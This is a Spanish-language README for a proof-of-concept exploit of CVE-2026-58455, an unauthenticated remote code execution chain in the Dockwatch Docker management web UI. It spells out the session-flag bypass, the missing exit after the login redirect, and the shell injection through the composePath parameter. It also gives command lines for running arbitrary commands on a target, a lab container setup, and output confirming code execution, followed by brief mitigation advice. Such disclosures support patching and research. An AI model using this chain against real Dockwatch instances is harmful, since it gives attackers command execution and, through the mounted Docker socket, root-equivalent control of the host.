
PoC para CVE-2026-58455: RCE no autenticado en Dockwatch <=0.6.567. Python solo con stdlib.
Prueba de concepto para CVE-2026-58455: ejecución remota de código no autenticada en Dockwatch (de Notifiarr), una interfaz web autohospedada para la gestión de contenedores Docker. Afecta a todas las versiones hasta la 0.6.567.
Tres fallos encadenados:
GET /includes/header.php ejecuta
$_SESSION['IN_DOCKWATCH'] = true; para cualquier visitante. La capa AJAX
(ajax/shared.php) solo comprueba este indicador.exit() tras la redirección de autenticación — loader.php envía una
cabecera Location: login.php cuando $_SESSION['authenticated'] es falso, pero no
termina la ejecución, por lo que el resto de la petición sigue ejecutándose.ajax/compose.php (m=composePull)
construye un comando shell con entrada sin sanitizar:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
Encadenados: un atacante remoto no autenticado ejecuta comandos arbitrarios del sistema
operativo como el usuario del servidor web dentro del contenedor. Los despliegues típicos
montan /var/run/docker.sock en el contenedor → equivalente a root en el host.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
Solo la biblioteca estándar de Python 3.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Actualice Dockwatch a una versión posterior a la 0.6.567. Como mitigación, no exponga Dockwatch a redes no confiables y elimine el montaje del socket de Docker si no es necesario.
Solo para investigación de seguridad autorizada y uso en laboratorio.